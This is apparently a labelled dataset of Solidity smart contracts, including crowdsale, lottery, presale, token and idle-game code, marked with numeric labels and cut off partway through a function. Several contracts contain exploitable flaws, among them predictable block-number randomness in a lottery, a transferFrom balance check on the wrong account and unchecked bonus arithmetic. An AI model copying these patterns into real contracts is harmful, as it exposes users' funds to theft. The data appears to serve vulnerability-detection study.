function BonusFinalizeAgent(CrowdsaleToken _token, Crowdsale _crowdsale, uint[] _bonusBasePoints, address[] _teamAddresses) {
token = _token;
crowdsale = _crowdsale;
require(address(crowdsale) != 0);
require(_bonusBasePoints.length == _teamAddresses.length);
totalMembers = _teamAddresses.length;
teamAddresses = _teamAddresses;
for (uint i=0;i<totalMembers;i++){
require(_bonusBasePoints[i] != 0);
}
for (uint j=0;j<totalMembers;j++){
require(_teamAddresses[j] != 0);
bonusOf[_teamAddresses[j]] = _bonusBasePoints[j];
}
}
function isSane() public constant returns (bool) {
return (token.mintAgents(address(this)) == true) && (token.releaseAgent() == address(this));
}
function finalizeCrowdsale() {
require(msg.sender == address(crowdsale));
uint tokensSold = crowdsale.tokensSold();
for (uint i=0;i<totalMembers;i++) {
allocatedBonus = safeMul(tokensSold, bonusOf[teamAddresses[i]]) / 10000;
uint minBonus = 1000000 * 1000000000000000000;
if (i == totalMembers-1 && allocatedBonus < minBonus)
allocatedBonus = minBonus;
token.mint(teamAddresses[i], allocatedBonus);
}
token.releaseTokenTransfer();
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
}
contract EthTranchePricing is PricingStrategy, Ownable, SafeMathLib {
uint public constant MAX_TRANCHES = 10;
mapping (address => uint) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) {
require(!(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2));
trancheCount = _tranches.length / 2;
uint highestAmount = 0;
for(uint i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
require(!((highestAmount != 0) && (tranches[i].amount <= highestAmount)));
highestAmount = tranches[i].amount;
}
require(tranches[0].amount == 0);
require(tranches[trancheCount-1].price == 0);
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public constant returns(bool) {
return true;
}
function getCurrentTranche(uint weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint weiRaised) public constant returns (uint result) {
return getCurrentTranche(weiRaised).price;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return safeMul(value, multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice(weiRaised);
return safeMul(value, multiplier) / price;
}
function() payable {
require(false);
}
} | 0 | 378 |
contract Lottery {
event GetBet(uint betAmount, uint blockNumber, bool won);
struct Bet {
uint betAmount;
uint blockNumber;
bool won;
}
address private organizer;
Bet[] private bets;
function Lottery() {
organizer = msg.sender;
}
function() {
throw;
}
function makeBet() {
bool won = (block.number % 2) == 0;
bets.push(Bet(msg.value, block.number, won));
if(won) {
if(!msg.sender.send(msg.value)) {
throw;
}
}
}
function getBets() {
if(msg.sender != organizer) { throw; }
for (uint i = 0; i < bets.length; i++) {
GetBet(bets[i].betAmount, bets[i].blockNumber, bets[i].won);
}
}
function destroy() {
if(msg.sender != organizer) { throw; }
suicide(organizer);
}
} | 1 | 3,699 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract InvestorsList is Ownable {
using SafeMath for uint;
enum WhiteListStatus {Usual, WhiteList, PreWhiteList}
struct Investor {
bytes32 id;
uint tokensCount;
address walletForTokens;
WhiteListStatus whiteListStatus;
bool isVerified;
}
mapping (address => bool) manipulators;
mapping (address => bytes32) public nativeInvestorsIds;
mapping (bytes32 => Investor) public investorsList;
modifier allowedToManipulate(){
require(manipulators[msg.sender] || msg.sender == owner);
_;
}
function changeManipulatorAddress(address saleAddress, bool isAllowedToManipulate) external onlyOwner{
require(saleAddress != 0x0);
manipulators[saleAddress] = isAllowedToManipulate;
}
function setInvestorId(address investorAddress, bytes32 id) external onlyOwner{
require(investorAddress != 0x0 && id != 0);
nativeInvestorsIds[investorAddress] = id;
}
function addInvestor(
bytes32 id,
WhiteListStatus status,
bool isVerified
) external onlyOwner {
require(id != 0);
require(investorsList[id].id == 0);
investorsList[id].id = id;
investorsList[id].tokensCount = 0;
investorsList[id].whiteListStatus = status;
investorsList[id].isVerified = isVerified;
}
function removeInvestor(bytes32 id) external onlyOwner {
require(id != 0 && investorsList[id].id != 0);
investorsList[id].id = 0;
}
function isAllowedToBuyByAddress(address investor) external view returns(bool){
require(investor != 0x0);
bytes32 id = nativeInvestorsIds[investor];
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].isVerified;
}
function isAllowedToBuyByAddressWithoutVerification(address investor) external view returns(bool){
require(investor != 0x0);
bytes32 id = nativeInvestorsIds[investor];
require(id != 0 && investorsList[id].id != 0);
return true;
}
function isAllowedToBuy(bytes32 id) external view returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].isVerified;
}
function isPreWhiteListed(bytes32 id) external constant returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].whiteListStatus == WhiteListStatus.PreWhiteList;
}
function isWhiteListed(bytes32 id) external view returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].whiteListStatus == WhiteListStatus.WhiteList;
}
function setVerificationStatus(bytes32 id, bool status) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].isVerified = status;
}
function setWhiteListStatus(bytes32 id, WhiteListStatus status) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].whiteListStatus = status;
}
function addTokens(bytes32 id, uint tokens) external allowedToManipulate{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].tokensCount = investorsList[id].tokensCount.add(tokens);
}
function subTokens(bytes32 id, uint tokens) external allowedToManipulate{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].tokensCount = investorsList[id].tokensCount.sub(tokens);
}
function setWalletForTokens(bytes32 id, address wallet) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].walletForTokens = wallet;
}
}
contract BonumPreSale is Pausable{
using SafeMath for uint;
string public constant name = "Bonum PreSale";
uint public startDate;
uint public endDate;
uint public whiteListPreSaleDuration = 1 days;
function setWhiteListDuration(uint duration) external onlyOwner{
require(duration > 0);
whiteListPreSaleDuration = duration * 1 days;
}
uint public fiatValueMultiplier = 10**6;
uint public tokenDecimals = 10**18;
InvestorsList public investors;
address beneficiary;
uint public ethUsdRate;
uint public collected = 0;
uint public tokensSold = 0;
uint public tokensSoldWithBonus = 0;
uint[] firstColumn;
uint[] secondColumn;
event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount);
function BonumPreSale(
uint _startDate,
uint _endDate,
address _investors,
address _beneficiary,
uint _baseEthUsdRate
) public {
startDate = _startDate;
endDate = _endDate;
investors = InvestorsList(_investors);
beneficiary = _beneficiary;
ethUsdRate = _baseEthUsdRate;
initBonusSystem();
}
function initBonusSystem() private{
firstColumn.push(1750000);
firstColumn.push(10360000);
firstColumn.push(18980000);
firstColumn.push(25000000);
secondColumn.push(1560000);
secondColumn.push(9220000);
secondColumn.push(16880000);
secondColumn.push(22230000);
}
function setNewBeneficiary(address newBeneficiary) external onlyOwner {
require(newBeneficiary != 0x0);
beneficiary = newBeneficiary;
}
function setEthUsdRate(uint rate) external onlyOwner {
require(rate > 0);
ethUsdRate = rate;
}
function setNewStartDate(uint newStartDate) external onlyOwner{
require(newStartDate > 0);
startDate = newStartDate;
}
function setNewEndDate(uint newEndDate) external onlyOwner{
require(newEndDate > 0);
endDate = newEndDate;
}
function setNewInvestorsList(address investorsList) external onlyOwner {
require(investorsList != 0x0);
investors = InvestorsList(investorsList);
}
modifier activePreSale(){
require(now >= startDate && now < endDate);
_;
}
modifier underCap(){
require(tokensSold < uint(750000).mul(tokenDecimals));
_;
}
modifier isAllowedToBuy(){
require(investors.isAllowedToBuyByAddressWithoutVerification(msg.sender));
_;
}
modifier minimumAmount(){
require(msg.value.mul(ethUsdRate).div(fiatValueMultiplier.mul(1 ether)) >= 100);
_;
}
mapping (address => uint) public nativeInvestors;
function() payable public whenNotPaused activePreSale minimumAmount underCap{
uint tokens = msg.value.mul(ethUsdRate).div(fiatValueMultiplier);
tokensSold = tokensSold.add(tokens);
tokens = tokens.add(calculateBonus(tokens));
nativeInvestors[msg.sender] = tokens;
tokensSoldWithBonus = tokensSoldWithBonus.add(tokens);
nativeInvestors[msg.sender] = tokens;
NewContribution(msg.sender, tokens, msg.value);
collected = collected.add(msg.value);
beneficiary.transfer(msg.value);
}
function otherCoinsPurchase(bytes32 id, uint amountInUsd) external whenNotPaused underCap activePreSale onlyOwner {
require(id.length > 0 && amountInUsd >= (uint(100).mul(fiatValueMultiplier)) && investors.isAllowedToBuy(id));
uint tokens = amountInUsd.mul(tokenDecimals).div(fiatValueMultiplier);
tokensSold = tokensSold.add(tokens);
tokens = tokens.add(calculateBonus(tokens));
tokensSoldWithBonus = tokensSoldWithBonus.add(tokens);
investors.addTokens(id, tokens);
}
function calculateBonus(uint tokensCount) public constant returns (uint){
uint day = ((now.sub(startDate.add(whiteListPreSaleDuration))).div(1 days)).add(1);
uint B1;
uint B2;
if (tokensCount < uint(1000).mul(tokenDecimals)) {
B1 = (((tokensCount - 100 * tokenDecimals) * (firstColumn[1] - firstColumn[0])) / ((1000-100) * tokenDecimals)) + firstColumn[0];
B2 = (((tokensCount - 100 * tokenDecimals) * (secondColumn[1] - secondColumn[0])) / ((1000-100) * tokenDecimals)) + secondColumn[0];
}
if (tokensCount >= uint(1000).mul(tokenDecimals) && tokensCount < uint(10000).mul(tokenDecimals)) {
B1 = (((tokensCount - 1000 * tokenDecimals) * (firstColumn[2] - firstColumn[1])) / ((10000-1000) * tokenDecimals)) + firstColumn[1];
B2 = (((tokensCount - 1000 * tokenDecimals) * (secondColumn[2] - secondColumn[1])) / ((10000-1000) * tokenDecimals)) + secondColumn[1];
}
if (tokensCount >= uint(10000).mul(tokenDecimals) && tokensCount < uint(50000).mul(tokenDecimals)) {
B1 = (((tokensCount - 10000 * tokenDecimals) * (firstColumn[3] - firstColumn[2])) / ((50000-10000) * tokenDecimals)) + firstColumn[2];
B2 = (((tokensCount - 10000 * tokenDecimals) * (secondColumn[3] - secondColumn[2])) / ((50000-10000) * tokenDecimals)) + secondColumn[2];
}
if (tokensCount >= uint(50000).mul(tokenDecimals)) {
B1 = firstColumn[3];
B2 = secondColumn[3];
}
uint bonusPercent = B1.sub(((day - 1).mul(B1 - B2)).div(12));
return calculateBonusTokensAmount(tokensCount, bonusPercent);
}
function calculateBonusTokensAmount(uint tokensCount, uint bonusPercent) private constant returns(uint){
uint bonus = tokensCount.mul(bonusPercent);
bonus = bonus.div(100);
bonus = bonus.div(fiatValueMultiplier);
return bonus;
}
} | 1 | 2,463 |
pragma solidity ^0.4.24;
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0 && a > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract StandardToken is ERC20Token {
using SafeMathLib for uint;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract WOS is StandardToken, Ownable {
using SafeMathLib for uint256;
uint256 INTERVAL_TIME = 63072000;
uint256 public deadlineToFreedTeamPool=1591198931;
string public name = "WOS";
string public symbol = "WOS";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = (210) * (10 ** 8) * (10 ** 18);
uint256 wosPoolForSecondStage;
uint256 wosPoolForThirdStage;
uint256 wosPoolToTeam;
uint256 wosPoolToWosSystem;
event Freed(address indexed owner, uint256 value);
function WOS(){
totalSupply = INITIAL_SUPPLY;
uint256 peerSupply = totalSupply.div(100);
balances[msg.sender] = peerSupply.mul(30);
wosPoolForSecondStage = peerSupply.mul(15);
wosPoolForThirdStage = peerSupply.mul(20);
wosPoolToTeam = peerSupply.mul(15);
wosPoolToWosSystem = peerSupply.mul(20);
}
function balanceWosPoolForSecondStage() public constant returns (uint256 remaining) {
return wosPoolForSecondStage;
}
function freedWosPoolForSecondStage() onlyOwner returns (bool success) {
require(wosPoolForSecondStage > 0);
require(balances[msg.sender].add(wosPoolForSecondStage) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolForSecondStage) >= wosPoolForSecondStage);
balances[msg.sender] = balances[msg.sender].add(wosPoolForSecondStage);
Freed(msg.sender, wosPoolForSecondStage);
wosPoolForSecondStage = 0;
return true;
}
function balanceWosPoolForThirdStage() public constant returns (uint256 remaining) {
return wosPoolForThirdStage;
}
function freedWosPoolForThirdStage() onlyOwner returns (bool success) {
require(wosPoolForThirdStage > 0);
require(balances[msg.sender].add(wosPoolForThirdStage) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolForThirdStage) >= wosPoolForThirdStage);
balances[msg.sender] = balances[msg.sender].add(wosPoolForThirdStage);
Freed(msg.sender, wosPoolForThirdStage);
wosPoolForThirdStage = 0;
return true;
}
function balanceWosPoolToTeam() public constant returns (uint256 remaining) {
return wosPoolToTeam;
}
function freedWosPoolToTeam() onlyOwner returns (bool success) {
require(wosPoolToTeam > 0);
require(balances[msg.sender].add(wosPoolToTeam) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolToTeam) >= wosPoolToTeam);
require(block.timestamp >= deadlineToFreedTeamPool);
balances[msg.sender] = balances[msg.sender].add(wosPoolToTeam);
Freed(msg.sender, wosPoolToTeam);
wosPoolToTeam = 0;
return true;
}
function balanceWosPoolToWosSystem() public constant returns (uint256 remaining) {
return wosPoolToWosSystem;
}
function freedWosPoolToWosSystem() onlyOwner returns (bool success) {
require(wosPoolToWosSystem > 0);
require(balances[msg.sender].add(wosPoolToWosSystem) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolToWosSystem) >= wosPoolToWosSystem);
balances[msg.sender] = balances[msg.sender].add(wosPoolToWosSystem);
Freed(msg.sender, wosPoolToWosSystem);
wosPoolToWosSystem = 0;
return true;
}
function() public payable {
revert();
}
} | 0 | 678 |
pragma solidity ^0.4.0;
interface ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Goo is ERC20 {
string public constant name = "IdleEth";
string public constant symbol = "Goo";
uint8 public constant decimals = 0;
uint256 private roughSupply;
uint256 public totalGooProduction;
address public owner;
bool public gameStarted;
uint256 public totalEtherGooResearchPool;
uint256[] public totalGooProductionSnapshots;
uint256[] public allocatedGooResearchSnapshots;
uint256 public nextSnapshotTime;
uint256 private MAX_PRODUCTION_UNITS = 999;
uint256 private constant RAFFLE_TICKET_BASE_GOO_PRICE = 1000;
mapping(address => uint256) private ethBalance;
mapping(address => uint256) private gooBalance;
mapping(address => mapping(uint256 => uint256)) private gooProductionSnapshots;
mapping(address => mapping(uint256 => bool)) private gooProductionZeroedSnapshots;
mapping(address => uint256) private lastGooSaveTime;
mapping(address => uint256) public lastGooProductionUpdate;
mapping(address => uint256) private lastGooResearchFundClaim;
mapping(address => uint256) private battleCooldown;
mapping(address => mapping(uint256 => uint256)) private unitsOwned;
mapping(address => mapping(uint256 => bool)) private upgradesOwned;
mapping(uint256 => address) private rareItemOwner;
mapping(uint256 => uint256) private rareItemPrice;
mapping(address => mapping(uint256 => uint256)) private unitGooProductionIncreases;
mapping(address => mapping(uint256 => uint256)) private unitGooProductionMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitAttackIncreases;
mapping(address => mapping(uint256 => uint256)) private unitAttackMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitDefenseIncreases;
mapping(address => mapping(uint256 => uint256)) private unitDefenseMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitGooStealingIncreases;
mapping(address => mapping(uint256 => uint256)) private unitGooStealingMultiplier;
mapping(address => mapping(address => uint256)) private allowed;
mapping(address => bool) private protectedAddresses;
struct TicketPurchases {
TicketPurchase[] ticketsBought;
uint256 numPurchases;
uint256 raffleRareId;
}
struct TicketPurchase {
uint256 startId;
uint256 endId;
}
mapping(address => TicketPurchases) private ticketsBoughtByPlayer;
mapping(uint256 => address[]) private rafflePlayers;
uint256 private raffleEndTime;
uint256 private raffleRareId;
uint256 private raffleTicketsBought;
address private raffleWinner;
bool private raffleWinningTicketSelected;
uint256 private raffleTicketThatWon;
event UnitBought(address player, uint256 unitId, uint256 amount);
event UnitSold(address player, uint256 unitId, uint256 amount);
event PlayerAttacked(address attacker, address target, bool success, uint256 gooStolen);
GooGameConfig schema;
function Goo() public payable {
owner = msg.sender;
schema = GooGameConfig(0x21912e81d7eff8bff895302b45da76f7f070e3b9);
}
function() payable { }
function beginGame(uint256 firstDivsTime) external payable {
require(msg.sender == owner);
require(!gameStarted);
gameStarted = true;
nextSnapshotTime = firstDivsTime;
totalEtherGooResearchPool = msg.value;
}
function totalSupply() public constant returns(uint256) {
return roughSupply;
}
function balanceOf(address player) public constant returns(uint256) {
return gooBalance[player] + balanceOfUnclaimedGoo(player);
}
function balanceOfUnclaimedGoo(address player) internal constant returns (uint256) {
if (lastGooSaveTime[player] > 0 && lastGooSaveTime[player] < block.timestamp) {
return (getGooProduction(player) * (block.timestamp - lastGooSaveTime[player]));
}
return 0;
}
function etherBalanceOf(address player) public constant returns(uint256) {
return ethBalance[player];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
updatePlayersGoo(msg.sender);
require(amount <= gooBalance[msg.sender]);
gooBalance[msg.sender] -= amount;
gooBalance[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address player, address recipient, uint256 amount) public returns (bool) {
updatePlayersGoo(player);
require(amount <= allowed[player][msg.sender] && amount <= gooBalance[msg.sender]);
gooBalance[player] -= amount;
gooBalance[recipient] += amount;
allowed[player][msg.sender] -= amount;
emit Transfer(player, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool){
allowed[msg.sender][approvee] = amount;
emit Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address player, address approvee) public constant returns(uint256){
return allowed[player][approvee];
}
function getGooProduction(address player) public constant returns (uint256){
return gooProductionSnapshots[player][lastGooProductionUpdate[player]];
}
function updatePlayersGoo(address player) internal {
uint256 gooGain = balanceOfUnclaimedGoo(player);
lastGooSaveTime[player] = block.timestamp;
roughSupply += gooGain;
gooBalance[player] += gooGain;
}
function updatePlayersGooFromPurchase(address player, uint256 purchaseCost) internal {
uint256 unclaimedGoo = balanceOfUnclaimedGoo(player);
if (purchaseCost > unclaimedGoo) {
uint256 gooDecrease = purchaseCost - unclaimedGoo;
roughSupply -= gooDecrease;
gooBalance[player] -= gooDecrease;
} else {
uint256 gooGain = unclaimedGoo - purchaseCost;
roughSupply += gooGain;
gooBalance[player] += gooGain;
}
lastGooSaveTime[player] = block.timestamp;
}
function increasePlayersGooProduction(uint256 increase) internal {
gooProductionSnapshots[msg.sender][allocatedGooResearchSnapshots.length] = getGooProduction(msg.sender) + increase;
lastGooProductionUpdate[msg.sender] = allocatedGooResearchSnapshots.length;
totalGooProduction += increase;
}
function reducePlayersGooProduction(address player, uint256 decrease) internal {
uint256 previousProduction = getGooProduction(player);
uint256 newProduction = SafeMath.sub(previousProduction, decrease);
if (newProduction == 0) {
gooProductionZeroedSnapshots[player][allocatedGooResearchSnapshots.length] = true;
delete gooProductionSnapshots[player][allocatedGooResearchSnapshots.length];
} else {
gooProductionSnapshots[player][allocatedGooResearchSnapshots.length] = newProduction;
}
lastGooProductionUpdate[player] = allocatedGooResearchSnapshots.length;
totalGooProduction -= decrease;
}
function buyBasicUnit(uint256 unitId, uint256 amount) external {
require(gameStarted);
require(schema.validUnitId(unitId));
require(unitsOwned[msg.sender][unitId] + amount <= MAX_PRODUCTION_UNITS);
uint256 unitCost = schema.getGooCostForUnit(unitId, unitsOwned[msg.sender][unitId], amount);
require(balanceOf(msg.sender) >= unitCost);
require(schema.unitEthCost(unitId) == 0);
updatePlayersGooFromPurchase(msg.sender, unitCost);
if (schema.unitGooProduction(unitId) > 0) {
increasePlayersGooProduction(getUnitsProduction(msg.sender, unitId, amount));
}
unitsOwned[msg.sender][unitId] += amount;
emit UnitBought(msg.sender, unitId, amount);
}
function buyEthUnit(uint256 unitId, uint256 amount) external payable {
require(gameStarted);
require(schema.validUnitId(unitId));
require(unitsOwned[msg.sender][unitId] + amount <= MAX_PRODUCTION_UNITS);
uint256 unitCost = schema.getGooCostForUnit(unitId, unitsOwned[msg.sender][unitId], amount);
uint256 ethCost = SafeMath.mul(schema.unitEthCost(unitId), amount);
require(balanceOf(msg.sender) >= unitCost);
require(ethBalance[msg.sender] + msg.value >= ethCost);
updatePlayersGooFromPurchase(msg.sender, unitCost);
if (ethCost > msg.value) {
ethBalance[msg.sender] -= (ethCost - msg.value);
}
uint256 devFund = ethCost / 50;
uint256 dividends = (ethCost - devFund) / 4;
totalEtherGooResearchPool += dividends;
ethBalance[owner] += devFund;
if (schema.unitGooProduction(unitId) > 0) {
increasePlayersGooProduction(getUnitsProduction(msg.sender, unitId, amount));
}
unitsOwned[msg.sender][unitId] += amount;
emit UnitBought(msg.sender, unitId, amount);
}
function sellUnit(uint256 unitId, uint256 amount) external {
require(unitsOwned[msg.sender][unitId] >= amount);
unitsOwned[msg.sender][unitId] -= amount;
uint256 unitSalePrice = (schema.getGooCostForUnit(unitId, unitsOwned[msg.sender][unitId], amount) * 3) / 4;
uint256 gooChange = balanceOfUnclaimedGoo(msg.sender) + unitSalePrice;
lastGooSaveTime[msg.sender] = block.timestamp;
roughSupply += gooChange;
gooBalance[msg.sender] += gooChange;
if (schema.unitGooProduction(unitId) > 0) {
reducePlayersGooProduction(msg.sender, getUnitsProduction(msg.sender, unitId, amount));
}
if (schema.unitEthCost(unitId) > 0) {
ethBalance[msg.sender] += ((schema.unitEthCost(unitId) * amount) * 3) / 4;
}
emit UnitSold(msg.sender, unitId, amount);
}
function buyUpgrade(uint256 upgradeId) external payable {
require(gameStarted);
require(schema.validUpgradeId(upgradeId));
require(!upgradesOwned[msg.sender][upgradeId]);
uint256 gooCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(gooCost, ethCost, upgradeClass, unitId, upgradeValue) = schema.getUpgradeInfo(upgradeId);
require(balanceOf(msg.sender) >= gooCost);
if (ethCost > 0) {
require(ethBalance[msg.sender] + msg.value >= ethCost);
if (ethCost > msg.value) {
ethBalance[msg.sender] -= (ethCost - msg.value);
}
uint256 devFund = ethCost / 50;
totalEtherGooResearchPool += (ethCost - devFund);
ethBalance[owner] += devFund;
}
updatePlayersGooFromPurchase(msg.sender, gooCost);
upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
upgradesOwned[msg.sender][upgradeId] = true;
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionGain;
if (upgradeClass == 0) {
unitGooProductionIncreases[player][unitId] += upgradeValue;
productionGain = (unitsOwned[player][unitId] * upgradeValue * (10 + unitGooProductionMultiplier[player][unitId])) / 10;
increasePlayersGooProduction(productionGain);
} else if (upgradeClass == 1) {
unitGooProductionMultiplier[player][unitId] += upgradeValue;
productionGain = (unitsOwned[player][unitId] * upgradeValue * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId])) / 10;
increasePlayersGooProduction(productionGain);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 6) {
unitGooStealingIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 7) {
unitGooStealingMultiplier[player][unitId] += upgradeValue;
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionLoss;
if (upgradeClass == 0) {
unitGooProductionIncreases[player][unitId] -= upgradeValue;
productionLoss = (unitsOwned[player][unitId] * upgradeValue * (10 + unitGooProductionMultiplier[player][unitId])) / 10;
reducePlayersGooProduction(player, productionLoss);
} else if (upgradeClass == 1) {
unitGooProductionMultiplier[player][unitId] -= upgradeValue;
productionLoss = (unitsOwned[player][unitId] * upgradeValue * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId])) / 10;
reducePlayersGooProduction(player, productionLoss);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 6) {
unitGooStealingIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 7) {
unitGooStealingMultiplier[player][unitId] -= upgradeValue;
}
}
function buyRareItem(uint256 rareId) external payable {
require(schema.validRareId(rareId));
address previousOwner = rareItemOwner[rareId];
require(previousOwner != 0);
uint256 ethCost = rareItemPrice[rareId];
require(ethBalance[msg.sender] + msg.value >= ethCost);
updatePlayersGoo(msg.sender);
